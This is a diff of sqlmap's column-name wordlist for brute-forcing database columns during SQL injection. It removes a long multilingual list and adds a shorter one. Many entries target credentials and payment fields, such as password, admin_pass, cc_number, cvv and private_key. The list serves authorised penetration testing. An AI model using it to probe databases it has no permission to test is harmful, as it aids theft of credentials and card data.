-status_id
-node_id
-essn
-last_name
-iteration
-canchangenickname
-canoccupantschangesubject
-membersonly
-created_by
-succ_rate
-dnumber
-service_id
-mid
-publicroom
-propvalue
-empty_days
-moderated
-customer_id
-wdatarow
-persistent
-authorid
-patch_status_id
-submitted_by
-resolution_id
-osvendor
-routeid
-arch
-fid
-assigned_to
-ns
-event_id
-problem_code
-city
-note
-channel
-element_id
-cat_id
-position_id
-schema_id
-area
-bug_category_id
-session_id
-project_id
-random
-nsprefix
-archive_id
-nsschema
-view_id
-pname
-bug_group_id
-lastname
-link_id
-langid
-catname
-bug_id
-magic_string
-m_id
-zip
-patch_category_id
-custno
-idcountry
-stopid
-identifier
-category
-isbn
-group_project_id
-extension_id
-state
-password
-page
-extension
-spellid
-dno
-instanceof
-network
-priority
-aname
-person_id
-ncbofile
-student_number
-term_id
-uno
-path_id
-aid
-location_id
-propertyno
-course_number
-tid
-langug_code
-variable
-dept_desc
-orderno
-ownerno
-partof
-clientno
-white
-macaddr
-jobtypeid
-direction
-md5sum
-orga_id
-parentcategoryid
-beginstateid
-mname
-qno
-src
-featurename
-client_id
-route_id
-ticker
-version
-modulename
-maty_id
-currentstateid
-userinfo_id
-column_id
-imageinfo_id
-staffno
-lid
-metadatainfoid
-context
-app_title
-dest
-attributecategory_id
-operation_type
-dnum
-pers_id_registerer
-datasource
-connectorid
-our_loc
-country_name
-dname
-capital
-search_id
-statechangeid
-rightid
-endstateid
-distconnectorid
-walnut
-distmacaddr
-pixsize
-jobid
-revid
-match_cid
-branchno
-prepend_digits
-stockno
-ncbofileid
-object_type
-type_id
-pubid
-qagent
-office
-db_name
-bank
-dummy
-storyname
-col
-petty
-qname
-store_id
-inv_id
-inventory
-gift
-cno
-item
-c_sec_id
-row_id
-price
-loc_id
-ssn
-c_id
-sname
-parent
-allowance
-color
-group_name
-accounts
-vendorid
-gifi_accno
-movie_id
-rate
-company
-subid
-commentpath
-protocol_action_id
-topic_id
-s_id
-config_id
-long
-link
-copyright
-vehicle
-customerid
-customer
-f_id
-chart_id
-url
-host
-loans
-charttype
-imagefile
-data_set_id
-guest_ip
-biosample_id
-affiliation_id
-os_id
-street_id
-book_code
-object_name
-start_date
-form_id
-itemno
-provincial
-confid
-ratingid
-drinker
-qname_id
-whatsdom
-config_name
-ship_id
-investigator_id
-smilies_id
-cal_id
-license_id
-conf
-contact_id
-procedure_id
-column_name
-chromosome_id
-tf_key
-agent_specialtyid
-users_id
-gid
-publisher_code
-setting
-format_id
-word
-slogan
-superssn
-product
-referredby
-operationid
-ban_ip
-p_id
-lbl_aom_unaccessible_shipmethod
-origin
-comment_id
-product_version
-probe_id
-orderdate
-ordernumber
-data_type_id
-publisherid
-lake_id
-course_id
-questionid
-student_id
-user_name
-answerid
-hashtag
-preference_id
-author_num
-branch_num
-derived_id
-factoryid
-filterid
-log
-pnumber
-specialtyid
-plugin_id
-aa
-file
-dept_number
-action_attribute_id
-cpr
-storeid
-progenitor_id
-staff_number
-deptid
-semester
-poi_id
-part_id
-cell_line_id
-transaction_id
-agentid
-regionid
-token
-serial_no
-experimental_data_set_id
-cp_id
-the_geom
-model
-o_id
-personid
-display_name
-salesperson_id
-dependent_name
-license
-tablename
-employee_id
-e_id
-id_group
-location
-bb
-languageid
-int4
-msg_id
-department
-book_id
-ingredientid
-action_type_id
-maker
-app
-id_customer
-this
-entry_id
-county_id
-protocol_type_id
-empnbr
-unit_number
-bar
-studentid
-dbid
-title_id
-cname
-emp_num
-owner
-course_name
-editionnumber
-sessionid
-mealid
-com_id
-text
-chip_layout_id
-watchlistid
-qty
-data_set_type_id
-orderid
-module_id
-c1
-dlocation
-domainid
-course_no
-mgrssn
-id_log
-access_control_type_id
-account_id
-checking
-protocol_id
-request_id
-settingsid
-lname
-sale_date
-module_addr
-
-# spanish
-usuario
-nombre
-contrasena
-consumidor
-clave
-tecla
-llave
-chaveta
-tono
-cuna
-
-# german
-benutzername
-benutzer
-passwort
-kennwort
-parole
-losungswort
-losung
-kennung
-motto
-stichwort
-schlusselwort
-
-# french
-utilisateur
-usager
-consommateur
-nom
-mot
-passe
-cle
-touche
-clef
-
-# italian
-utente
-nome
-utilizzatore
-parola
-chiave
-tasto
-pulsante
-chiavetta
-cifrario
-
-# portuguese
-usufrutuario
-chave
-cavilha
-
-# slavic
-korisnik
-sifra
-lozinka
-kljuc
-
-# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
-user
-pass
-cc_number
-emri
-fjalekalimi
-pwd
-customers_email_address
-customers_password
-user_password
-user_pass
-admin_user
-admin_password
-admin_pass
-usern
-user_n
-users
-login
-logins
-login_user
-login_admin
-login_username
-user_username
-user_login
-auid
-apwd
-adminid
-admin_id
-adminuser
-adminuserid
-admin_userid
-adminusername
-admin_username
-adminname
-admin_name
-usr
-usr_n
-usrname
-usr_name
-usrpass
-usr_pass
-usrnam
-nc
-myusername
-mail
-emni
-logohu
-punonjes
-kpro_user
-wp_users
-emniplote
-perdoruesi
-perdorimi
-punetoret
-logini
-llogaria
-fjalekalimin
-kodi
-emer
-ime
-korisnici
-user1
-administrator
-administrator_name
-mem_login
-login_password
-login_pass
-login_passwd
-login_pwd
-psw
-pass1word
-pass_word
-passw
-pass_w
-user_passwd
-userpass
-userpassword
-userpwd
-user_pwd
-useradmin
-user_admin
-mypassword
-passwrd
-admin_pwd
-admin_passwd
-mem_password
-memlogin
-e_mail
-usrn
-u_name
-uname
-mempassword
-mem_pass
-mem_passwd
-mem_pwd
-p_word
-pword
-p_assword
-myname
-my_username
-my_name
-my_password
-my_email
-cvvnumber
-about
-access
-accnt
-accnts
-account
-admin
-adminemail
-adminlogin
-adminmail
-admins
-aim
-auth
-authenticate
-authentication
-blog
-cc_expires
-cc_owner
-cc_type
-cfg
-clientname
-clientpassword
-clientusername
-config
-contact
-converge_pass_hash
-converge_pass_salt
-crack
-customers
-cvvnumber]
-db_database_name
-db_hostname
-db_password
-db_username
-download
-e-mail
-emailaddress
-full
-group
-hash
-hashsalt
-homepage
-icq
-icq_number
-id_member
-images
-index
-ip_address
-last_ip
-last_login
-login_name
-login_pw
-loginkey
-loginout
-logo
-md5hash
-member
-member_id
-member_login_key
-member_name
-memberid
-membername
-members
-new
-news
-nick
-number
-nummer
-pass_hash
-passwordsalt
-personal_key
-phone
-privacy
-pw
-pwrd
-salt
-search
-secretanswer
-secretquestion
-serial
-session_member_id
-session_member_login_key
-sesskey
-spacer
-status
-store
-store1
-store2
-store3
-store4
-table_prefix
-temp_pass
-temp_password
-temppass
-temppasword
-un
-user_email
-user_icq
-user_ip
-user_level
-user_passw
-user_pw
-user_pword
-user_pwrd
-user_un
-user_uname
-user_usernm
-user_usernun
-user_usrnm
-userip
-userlogin
-usernm
-userpw
-usr2
-usrnm
-usrs
-warez
-xar_name
-xar_pass
-
-# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
-account
-accnts
-accnt
-user_id
-members
-usrs
-usr2
-accounts
-admin
-admins
-adminlogin
-auth
-authenticate
-authentication
-account
-access
-customers
-customer
-config
-conf
-cfg
-hash
-login
-logout
-loginout
-log
-member
-memberid
-password
-pass_hash
-pass
-passwd
-passw
-pword
-pwrd
-pwd
-store
-store1
-store2
-store3
-store4
-setting
-username
-name
-user
-user_name
-user_username
-uname
-user_uname
-usern
-user_usern
-un
-user_un
-usrnm
-user_usrnm
-usr
-usernm
-user_usernm
-user_nm
-user_password
-userpass
-user_pass
-user_pword
-user_passw
-user_pwrd
-user_pwd
-user_passwd
-
-# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
-fld_id
-fld_username
-fld_password
-loginname
-pasword
-permission
-perm
-user_group
-tendn
-tendangnhap
-tenquantri
-tenquanly
-tennguoidung
-ten
-tennd
-nguoidung
-nguoidungid
-quantri
-quanly
-u_id
-accountname
-account_name
-matkhau
-matma
-paswd
-pas
-tukhoa
-login_pas
-loginpassword
-loginpasswd
-loginpass
-loginpas
-loginpwd
-secret
-secret_code
-secretcode
-administrators
-adminpass
-adminpassword
-adminpaw
-adminpwd
-adminuid
-upass
-level
-mima
-sb_admin_name
-sb_pwd
-client
-clients
-ipaddress
-files
-family
-admin_psw
-administrateur
-adminpsw
-adminupass
-adress
-aide
-articleid
-content
-dw
-feed
-feedback
-glmm
-isadmin
-key
-keywords
-mpassword
-msn
-musername
-newsid
-numer
-passer
-pe_aduser
-pe_user
-power
-pswd
-pwd1
-qq
-stocker
-sysuser
-telephone
-texte
-userpasswd
-usr_nusr
-usr_pw
-website
-wind
-compte
-comptes
-objectif
-authentifier
-authentification
-fissure
-adressee-mail
-complet
-groupe
-hachage
-connexion
-membre
-membres
-mm
-p
-u
-mot_de_passe_bdd
-mon_mot_de_passe
-monmotdepasse
-ignatiusj
-caroline-du-nord
-nouveau
-sel
-recherche
-utilisateurs
-o
-konto
-rachunki
-administratorzy
-pomoc
-cel
-uwierzytelnienia
-uwierzytelnianie
-kontakt
-klient
-danych
-adres_e-mailowy
-grupy
-obrazy
-spis
-dostawcy
-nazwisko
-zaloguj
-nowy
-telefon
-seryjny
-ustawienie
-kod
-stan
-sklep1
-sklep2
-tekst
-zytk
-konta
-rysa
-adrese-mail
-ecolo
-tat
-yh
-yhm
-yhmm
-yonghu
-
-# site:br
-content_id
-codigo
-geometry
-published
-section_value
-tidcliente
-menuid
-pollid
-bid
-moduleid
-gab_pergunta
-tipo
-template
-multilinestring
-aal_aluno
-ava_professor
-adm_nivel
-lec_codigo
-per_codigo
-lec_disciplina
-gaip_codigo
-acl_id
-niv_codigo
-quantidade
-attribute_id
-gaia_codigo
-alu_matricula
-nota
-gab_codigo
-field_id
-ava_codigo
-aal_codigo
-message_id
-avi_codigo
-fre_disciplina
-groups_id
-nome_cliente
-pc
-lec_professor
-idusuario
-poll_id
-dis_codigo
-ava_disciplina
-gap_codigo
-avp_codigo
-aai_codigo
-fre_aluno
-fre_codigo
-adm_id
-id_estado
-aap_codigo
-pro_matricula
-gp
-xlancamento
-municipioprestador
-product_price_id
-country_2_code
-shopper_group_id
-manufacturer_id
-com_natur
-review_id
-xtipo_de_acao
-bookmark_id
-xequipe_padrao
-faixas_id
-xcliente
-deducoes_id
-xcategoria
-xencerramento
-idx_item
-xcadastro
-quantitens
-additional_htmlblob_users_id
-ipi
-xfase_de_vencimento
-permission_id
-xdecisao
-i_end
-xforo
-order_item_id
-mo
-grafica_id
-news_id
-enderecos_id
-desccompensa
-desconto
-creditcard_id
-card_id
-cardid
-idcard
-creditcard
-cardnumber
-cardno
-itens_id
-senha
-order_status_id
-id_seq
-municipio_id
-additional_users_id
-order_status_history_id
-function_id
-controladas_id
-ator_id
-shipping_rate_id
-htmlblob_id
-css_id
-xfase
-fieldvalueid
-main
-correcaostrategy_id
-fonte
-xmetodo_atualizacao
-desd_xdecisao
-jurosstrategy_id
-fielddef_id
-especie_id
-idcategoria
-xgrupo
-indice_id
-xprocedimento
-xcustom1
-autor_id
-newssummarycategory
-icmsinterno
-nonnavigable
-domicilio_id
-notafiscal_id
-userplugin_id
-shipping_carrier_id
-municipiotomador
-natureza
-solicitante_id
-mbpp
-xcustom2
-template_id
-chave_primaria
-desd_xforo
-payment_method_id
-nome_agencia
-pessoa_id
-uprdescricao
-export_id
-logo_id
-prazo_xevento
-tomador_id
-serie_id
-tidclasfiscais
-atividades_id
-logradouro_id
-xadvogado
-xequipe
-handler_id
-xobjeto
-multipolygon
-tipo_id
-xproprietario
-state_id
-mopc
-valorcontabil
-xprocesso
-coupon_id
-currency_id
-parameter_name
-contribuinte_id
-xcubo
-country_id
-id_fatura
-serienfe_id
-tax_rate_id
-waiting_list_id
-download_id
-emissao
-screen
-xcustom3
-mbpc
-documento_id
-xcustom4
-fieldid
-point
-xsituacao
-icmssp
-tidproduto
-pp
-empresa_id
-i_tel
-contador_id
-telefones_id
-estado_id
-xevento
-site
-order_currency
-xprocesso_apensado
-multastrategy_id
-saida
-grupo_id
-guid_sessao
-indice
-xjurisdicao
-news_category_id
-mf_category_id
-product_type_id
-xusuario
-vendor_id
-sitepref_name
-desd_xjurisdicao
-option_id
-xrelatorio
-codusuario
-id_cidade
-user_info_id
-desd_xfase
-situacao
-file_id
-zone_id
-id_servico
-situacao_id
-tidfornecedor
-valor2
-valor3
-valor4
-valor5
-origem
-few
-idxatv
-mopp
-prestador_id
-xprognostico
-xclasse
-log_id
-xadverso
-guid_email
-guiaavulsa_id
-pl
-vendor_category_id
-venc3
-venc2
-totpc
-venc5
-venc4
-xserie
-order_info_id
-an
-totpp
-totpv
-imagen_id
-esquema
-atividade_id
-xgarantia
-discount_id
-xnatureza
-group_perm_id
-category_child_id
-newssummaryauthor
-and_xevento
-
-# site:de
-rolle_nr
-standort_nr
-ja
-persnr
-vorname
-width
-titel
-filename
-post_id
-swidth
-height
-vorgaenger
-matrnr
-kursnr
-notification_type
-sheight
-style_id
-startnummer
-bezeichnung
-basename
-kat_id
-whabfragen
-struct_id
-havabfragen
-abfrsql
-vorlnr
-ban_id
-forum_id
-rank_id
-nr
-k_id
-nachname
-ort
-key_id
-groesse
-datum
-image_id
-entry
-speise_id
-word_id
-absatz_id
-class_id
-mail_id
-zid
-ticket_id
-queue_id
-pid1
-pid2
-currval
-forum
-organizationid
-institute_id
-history_id
-my
-how
-after
-meetingid
-mitarbeiterid
-idgruppe
-re
-artikel_id
-top
-perid
-pers_nr
-idstelle
-messageid
-acctid
-address_book_id
-article_id
-com
-kid
-rule_id
-kosten
-plz
-confirm_id
-race_id
-vis_id
-descr
-seitelayout_id
-vote_id
-g_id
-activated
-show
-guy
-vtyp_id
-timeofmove
-views
-meta_id
-blz
-bookid
-teilnehmernr
-weaponid
-region_id
-resultid
-calendar
-address_id
-pos
-d_id
-serverid
-cd
-answer_id
-categories_id
-start
-site_id
-price_id
-az
-mnr
-cis_id
-config_key
-address_format_id
-tn
-tax_id
-mountname
-standard
-schweiz
-partner_id
-idkontakt
-eventid
-oldstate
-topicid
-sonst
-pk
-mountcategory
-von
-orders_recalculate_id
-block_id
-knr
-msgid
-ortnr
-seiteabs_id
-id1
-um
-paperid
-send
-wid
-gi
-lieferant
-orgid
-profile
-zugang
-allow
-unique_id
-taskid
-configuration_id
-jcode
-ex_id
-blog_id
-who
-section_id
-mindk
-beschreibung
-schl
-you
-object_link_a_id
-disallow_id
-strasse
-option_name
-q_trid
-summary_id
-gameid
-
-# site:es
-catid
-dni
-prune_id
-anid
-linkid
-qid
-word_text
-id_cat
-eid
-privmsgs_text_id
-downloadid
-hid
-themes_id
-privmsgs_id
-codi
-requestid
-ratingdbid
-edad
-secid
-sitename
-artid
-gallid
-main_module
-contactid
-aro_id
-replace
-total
-root
-prodid
-id_paciente
-mosloadposition
-de
-mossef
-ordid
-stdprice
-advanced
-super
-editor
-rol
-editors
-mosvote
-agent
-en
-searchbot
-cod_aplicacion
-manager
-geshi
-author
-coste
-mos
-menutype
-session_ip
-publisher
-texto
-actor_id
-mosemailcloak
-none
-id_tra
-sistema
-help
-custid
-value_id
-nompuerto
-legacybots
-id_enfermedad
-tinymce
-nivel
-locale
-load
-format
-registered
-moscode
-results
-search_term
-mosimage
-sin
-mospaging
-que
-sef
-dorsal
-coste_total
-legacy
-btn
-repid
-parent_id
-time_stamp
-bannerid
-
-# site:fr
-numero
-id_auteur
-titre
-lang
-tag
-id_forum
-id_groupe
-id_article
-alliance1
-alliance2
-id_message
-num
-fichier
-id_user
-id_syndic
-dico
-id_rubrique
-id_document
-id_breve
-id_signature
-id_type
-ide
-id_syndic_article
-id_mot
-n_agence
-ville
-codepostal
-sess_id
-num1
-constraint_name
-n_type
-theme_id
-image
-referer_md5
-id_fragment
-new_id
-version_min
-liste
-id_version
-prix
-terms_body
-prenom
-nid
-n_client
-n_compte
-apid
-n_dept
-n_dir
-age
-
-# site:ru
-dt_id
-subdivision_id
-sub_class_id
-comments
-cmtid
-tags
-checkbox
-ct_id
-part
-lastupdated
-customsettings
-catalogue_id
-relationmessage
-englishname
-ba_num_reads
-at_id
-bs_setting
-am_id
-t2
-t1
-message
-blogcommentsaccess_id
-sub_class
-grfilt
-tempprovkredit
-ostdate
-koef
-bms_cat_id
-bd_id
-field2
-field3
-dd
-kredit
-callend
-gcode
-blogcommentsaccess
-sender
-udal
-bcf_id
-bfs_id
-schet
-grcode
-blogcommentssub
-blogpermissiongroup_id
-us_id
-bv_id
-bvo_id
-rusname
-gbid
-kontr600
-realiz_opt
-bs_bid
-bb_id
-bf_id
-wuser
-v_id
-sklad
-sd
-object_sub_class_id
-callstart
-myexec
-relationsub
-id_photo
-bfl_id
-bml_id
-blogmessagesaccess
-bn_id
-bsu_id
-id_links
-bo_id
-dates
-kontr620
-pom
-object_parent_id
-ostatki
-tovar
-oid
-bsm_id
-mn_id
-pcode
-id_poll_ip
-groupcodes
-codeid
-fot_id
-spell_id
-typenamekeeper
-bt_id
-odate
-bdate
-bs_id
-id_paragraph
-t4
-t3
-nt_id
-id_contact
-korschet
-data_in
-id_msg
-bc_plugin
-summaprihod
-boe_c_id
-bct_id
-grkntr
-btt_id
-string
-tl_id
-subdivision_name
-bc_id
-bfp_id
-bcfs_id
-vcode
-id_refferer
-ssschet
-sessid
-im_id
-id_poll
-ba_num_voted
-kontr60
-id_ip
-kre1
-ord_id
-kc
-bbt_id
-bst_id
-bftt_id
-blogpermissiongroup
-it_id
-chost
-bo_order_number
-ba_id
-object_sub_id
-hidden_url
-bms_id
-pnds
-pt_id
-realiz
-id_catalog
-wdate
-bff_id
-matcode
-bur_cat_id
-bsl_id
-blogmessagesaccess_id
-bcena
-ostatkii
-ost1
-bvr_id
-prih
-bu_id
-bp_id
-isview
-id_artpage
-tb_id
-bst_time
-ba_order_num
-username1
-id_answer
-rt_id
-bot_id
-korschetfilter
-st_id
-summachp
-vt_id
-data_out
-journals
-enumtypid
-scriptname
-result
-bsur_id
-keyname
-handle
-ba_date
-blogcommentscc
-lg_id
-bft_id
-ft_id
-toorg
-debet
-orgcode
-partstring
-id_product
-bte_id
-pu_id
-mt_id
-edate
-community
-bpe_id
-grtov
-id_page
-boe_id
-sut_id
-task_id
-object
-can
-voteid
-operation_id
-city_id
-list
-page_id
-banner_id
-error
-language_id
-val
-
-# site:jp
-dealer_id
-modify_date
-regist_date
-comment
-payment_method
-service_name
-file1
-rel_id
-sub_large_image3
-sub_image6
-sub_image4
-sub_image5
-sub_image3
-sub_image1
-fix
-companyid
-formid
-charge
-page_name
-deliv_fee
-category_name
-stock_unlimited
-sale_limit
-nam
-target_id
-tempid
-point_rate
-payment_image
-confirm_url
-dt
-document_id
-productid
-ken_kanji
-attname
-parent_category_id
-module_name
-main_list_image
-create_date
-conkey
-product_code
-price01
-price02
-classcategory_id1
-seminer_id
-classcategory_id2
-newrow
-update_date
-classcategory_id
-yeartag
-job
-relname
-comm
-main_large_image
-sub_image2
-deliv_id
-idx
-comment5
-bloc_row
-ndc
-comment6
-comment1
-comment3
-comment2
-creator_id
-bloc_name
-equip_id
-recommend_product_id
-file3
-file2
-jiscode
-file6
-file5
-file4
-news_date
-rank
-sub_title5
-sub_title4
-sub_title6
-sub_title1
-sub_title3
-sub_title2
-txt
-loc
-fee
-committee_id
-module_code
-pref
-disp_name
-pref_id
-deliv_date_id
-relid
-upper_rule
-main_image
-umeta_id
-template_code
-edit_flg
-comment4
-kiyaku_title
-hiredate
-csv_id
-sal
-attrelid
-deptname
-main_comment
-sub_large_image4
-sub_large_image5
-sub_large_image6
-php_dir
-sub_large_image1
-sub_large_image2
-bloc_id
-test
-tpl_dir
-del_flg
-stock
-sale_unlimited
-sub_comment4
-sub_comment5
-sub_comment6
-manuscriptid
-sub_comment1
-sub_comment2
-sub_comment3
-main_list_comment
-mgr
-product_flag
-rule
-c_commu_topic_id
-c_diary_comment_log_id
-
-# site:it
-idcomune
-idruolo
-idtrattamento
-idpaziente
-matricola
-idpersonale
-idasl
-idanagrafica
-idciclo
-iddocumento
-idservizio
-idricovero
-idclinica
-idcamera
-idtipociclo
-idsistemazione
-idtiporicovero
-idtiposervizio
-idsesso
-idpagamento
-idtipodimissione
-idletto
-iddescrizionedocumento
-codice
-cognome
-idtipodocumento
-idstatocivile
-idtipologiaservizio
-idtipotrattamento
-idmedicofamiglia
-idregistro
-idreparto
-iddistretto
-idprovenienza
-telefono
-eta
-figlio
-reddito
-denominazione
-anno
-idbocca
-idcartellaclinica
-idsistnerv
-idappargenit
-idtipotrasferimento
-dataricovero
-idcuore
-cap
-descrizione
-idocchi
-sede
-idricoverohatipologia
-noteaccettazione
-dal
-datadimissione
-idorecchie
-idcorpo
-id_provincia
-idtipologiaricovero
-id_regione
-idapparlocom
-idcomuneresidenza
-created_at
-datanascita
-corso
-idanamnesifamil
-idesameobiettivo
-idcapo
-idsmaglog
-sesso
-impiegato
-luogonascita
-idcute
-idcollo
-idsistresp
-dipsede
-cellulare
-idaddome
-php
-idnaso
-cf
-idstatogenerale
-idtrasferimento
-indirizzo
-genitore
-dipnome
-updated_at
-idlinfonodi
-groupname
-shop
-c_name
-plugin_googlemap2
-jfalternative
-post_status
-localita
-prz_merce_fis
-idgroupacl
-comune
-ana_codice
-utenteid
-mod_gtranslate
-idlocation
-rating_id
-online_id
-jfsections
-idextra
-categories
-luogoid
-nroordine
-stat_name
-gender
-oggettistica
-gru_userid
-pv_id
-parigi
-direct
-pm_id
-idperiodo
-idarticolo
-what
-can_codice
-sub
-id_nazione
-client_name
-acc_codice
-mod_freeway_services
-cleanurl
-newyork
-idcategory
-active
-box
-prc_sconto1
-prc_sconto3
-prc_sconto4
-disma
-iddiscipline
-job_e_date
-risultato
-mod_arcadebtn
-jfrouter
-apply
-unit
-newcollection
-customenu
-prova
-cod_utente_mod
-helvetica
-send_id
-mf_desc
-nroarticolo
-mod_ninja_simple_icons
-sessione
-cdele
-statoattivitaid
-bracciali
-zenzaro
-cod_valuta
-collane
-tabella
-newyorkenglish
-grp_id
-var_id
-sot_proposta_e
-virtuemart
-enteid
-rpad
-auth_id
-realname
-attivitaid
-readmore
-freewaylogin
-idconfig
-pin
-pins
-csc
-cvd
-cvv
-cvv2
-cvvc
-ccv
-ccid
-qta_merce
-charms
-diritto
-accessori
-mod_signallogin
-remember
-mod_virtuemart_featureprod
-padre
-prc_sconto2
-enter
-idgara
-morfeoshow
-lingua
-piede
-gtranslate
-under_menu
-id_disciplina
-nomedip
-before
-mod_virtuemart_search
-arial
-job_id
-config_item
-add_date
-jfdatabase
-madre
-idragsoc
-idsubscriptiontickets
-loadmodule
-jumpmenu
-idsocieta
-category_img
-portachiavi
-mf_name
-codicepaziente
-mod_virtuemart_randomprod
-ninja
-pro_codice
-mod_vm_cat_menu_specific
-vinod
-newsfeeds
-id_palestra
-mod_custom
-css
-debug
-side
-dipart
-areainterventoid
-mod_flashmod
-tipologiaenteid
-emailcloak
-mod_freeway_events
-id_logho
-codicemedico
-nuova
-catarticles
-dst
-gru_codice
-idutente
-idutenti
-job_title
-schedaid
-idmlattach
-zonainterventoid
-totfasciaeuroid
-structure_id
-att_codice
-blogger
-plan_table_output
-pagenavigation
-idplugin
-vote
-mod_freeway_subscriptions
-idconn
-cerca
-system
-langkey
-app_gruppo_e
-term_taxonomy_id
-statement
-params
-oggetto
-mod_cpmfetch
-signallogin
-id_passwd
-codrappr
-coddoc
-statoavanzamid
-nrsez
-idmlgroup
-rated_id
-kwick
-id_citta
-prc_magg1
-prc_magg2
-flg_fiscale
-banner_url
-attribute_sku_id
-mod_product_list
-end_date_time
-purchase_id
-client_url
-vm_manufacturer_category
-pfs_id
-veteran
-mod_cd_login
-menu_selezione
-ruoloenteid
-ele_codice
-pl_id
-payment
-idmlmail
-mod_virtuemart_currencies
-freeway
-annoid
-cod_dep
-area_id
-prg_art
-alias_area_id
-sent
-po_id
-yoologin
-sys_context
-mod_enugene
-idnotsentmails
-mod_virtuemart_manufacturers
-menu
-cache
-prg_movimento_riga
-url_md5
-ldap
-tvoti
-villiam
-full_news
-yoocarousel
-main2
-main3
-dat_utente_mod
-user_alto
-pff_id
-smilie_id
-mod_date
-banner
-pinsn
-codice_comune
-vm_payment_method
-idclassificatore
-idgroup
-progetto
-mod_freeway_shoppingcart
-payment_extrainfo
-cost_id
-gmail
-dat_movimento
-mod_jt_slideshow
-campo_bol
-idcliente
-prz_merce
-hdesc
-fp_id
-jt
-idfile
-ji
-mod_catarticles
-mod_virtuemart_latestprod
-mod_customenu
-app_utente_e
-prg_movimento
-include_date
-cod
-flipper
-naresh
-cache_language_id
-id_preventivo
-config_owner
-header
-mootoolnicemenu
-qualificareferenteid
-modhome
-id_annuncio
-idtitolo
-source
-charmsn
-swf
-tutor
-mod_yoo_carousel
-portachiavin
-idevent
-mod_mainmenu
-jfcontent
-item_cd
-tpref
-id_news
-mf_category_name
-iddesign
-moduledir
-cod_clifor
-fkidannofdr
-mod_donimedia_select_box_menu_type1
-jfcontacts
-jpg
-client_desc
-mod_freewaylogin
-mod_translate
-flscrvpre
-grand
-mf_category_desc
-payment_method_name
-extended
-mod_vm_prod_cat_full
-mod_freeway_admin
-orecchini
-nlista
-jfcategories
-mod_cssmenu
-mod_lxmenu
-mod_flipper_img_rotator
-fkidanagrafica
-id_comune
-statement_id
-idatleta
-inactive
-mod_sidebarmenuapplestyle
-candidato
-ref_url
-testq
-ind_clifor
-xmlrpc
-pingback_id
-l_col_list
-fs_id
-press
-mod_freeway_products
-semo
-bijoux
-rakesh
-modulo_contatti
-google
-vm_manufacturer
-vot_proposta_e
-brend
-post_date
-enugene
-nrcandi
-invoice
-home
-sot_utente_e
-settoreid
-weblinks
-contacts
-id2
-codcliente
-news_title
-job_s_date
-sql_text
-affiliate
-backlink
-core
-id_attivita
-index_num
-etertre
-manufacturer
-cod_utente_cre
-cod_art
-ideventcategory
-dat_utente_cre
-cache_id
-joomla
-product_list
-coupon
-mod_sendcart
-bijouxn
-pagebreak
-idsessione
-arcade
-mod_virtuemart_topten
-banner_title
-flg_prezzo_con_iva
-partnerid
-vot_utente_e
-sections
-xstandard
-id_scheda
-vm_category
-mod_jumplink
-exclude_date
-ruoloid
-contenuti
-accessorin
-coppermine
-banlist_id
-offerte
-idticket
-idsubscription
-beneficiarioid
-oggettistican
-jfnewsfeeds
-anelli
-ship
-imenu
-na
-nb
-get_ddl
-short_news
-openid
-titoloprogettoid
-connection_id
-mod_kwick_sliding_menu
-matr
-id_richiesta
-idoggetto
-lxmenu
-text_id
-user_basso
-ver_codice
-mayank
-idgrouppermission
-modules
-client_img
-does_repeat
-
-# site:cn
-typeid
-cronid
-advid
-admingid
-payid
-tagname
-optionid
-templateid
-applyid
-searchid
-styleid
-medalid
-pluginvarid
-fldfuntype
-fldfunindex
-displayorder
-pluginid
-fldfunopen
-fldfunid
-fldfunhref
-fldfunmemo
-fldfunname
-mobile
-invisible
-polloptionid
-cachename
-tagid
-pluginhookid
-pmid
-fldfuninfo
-magicid
-keyid
-areaid
-logid
-folder
-allno
-vieworder
-classid
-topped
-msg
-topics
-rankid
-timeid
-iconid
-intro
-corpid
-replies
-operation
-announceid
-nickname
-goods_id
-attachment
-special
-hk_name
-stylevarid
-posterid
-curtopics
-allowbanip
-hide
-allowdelpost
-db_value
-picurl
-yahoo
-adid
-digest
-n_id
-hidden
-olimg
-lastpost
-signature
-lastposttime
-doid
-authstr
-tabid
-org_code
-typename
-allowstickthread
-departmentid
-allowmassprune
-identify
-old
-avatar
-allowedituser
-forumname
-descrip
-blogid
-allowmoduser
-lastposterid
-today
-tempfidlist
-feedid
-courseid
-olid
-hk_value
-xh
-allowpostannounce
-copy
-splitstring
-icon
-fidlist
-lastpostpmtime
-article
-former
-projectid
-avatarheight
-html
-alloweditpoll
-downloads
-channelid
-allowbanuser
-appid
-allowcensorword
-emailid
-lastexecuted
-decl_mail
-lastupdatetime
-billid
-vid
-lastposter
-allowrefund
-allowviewrealname
-installed
-lasttid
-postcount
-searchstring
-reason
-customstatus
-titleid
-newpms
-verifycode
-forumid
-attention
-readperm
-skype
-lastsearchtime
-bio
-lastpostid
-idcard
-postdatetime
-question
-poster
-sightml
-highlight
-pageid
-threadorder
-todaycount
-currentindex
-avatarwidth
-magic
-allowmodpost
-allowviewip
-pro_id
-iid
-decrip
-alloweditpost
-mailid
-lastforumposterid
-accountid
-tids
-medals
-fileid
-postid
-closed
-lastactivity
-newnotices
-allowviewlog
-expiration
-layer
-ishtml
-command
-brand_id
-disablepostctrl
-fieldname
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+# See the file 'LICENSE' for copying permission
+
+id
+name
+user_id
+description
+username
+type
+title
+userid
+group_id
+first_name
+itemid
+category_id
+firstname
+code
+pno
+nextval
+hostid
+table_name
+cid
+email
+smtp_helo
+platformid
+dept_id
+album_id
+key_
+the
+child_cfg
+jid
+platform
+expression
+functionid
+smtp_server
+uid
+clock
+alarmid
+alertid
+private_key
+actionid
+triggerid
+triggertemplateid
+local_spi
+delay
+sid
+mediaid
+peer_cfg
+smtp_email
+order_id
+shared_secret
+itemtemplateid
+certificate
+insertid
+role_id
+song_id
+item_id
+product_id
+blob_id
+distip
+artist_id
+empno
+customer_name
+grade
+branch_name
+portal_id
+deptno
+data
+rid
+app_id
+class
+loan_number
+countryid
+enabled
+fname
+country
+ename
+object_id
+idtype
+groupid
+rowid
+accno
+account_number
+event
+passwd
+sequence_id
+datarow
+owner_id
+display
+pid
+venue
+locked
+eno
+serviceid
+alias
+categoryid
+canoccupantsinvite
+keyword
+channel_id
+loginrestrictedtonickname
+registrationenabled
+logenabled
+ip
+maxnumber
+tag_id
+alert_id
+cananyonediscoverjid
+address
+sumdatarow
+emp_id
+ono
+anyone
+surname
+subdomain
+maxusers
+ccc
+datacol
+os
+status_id
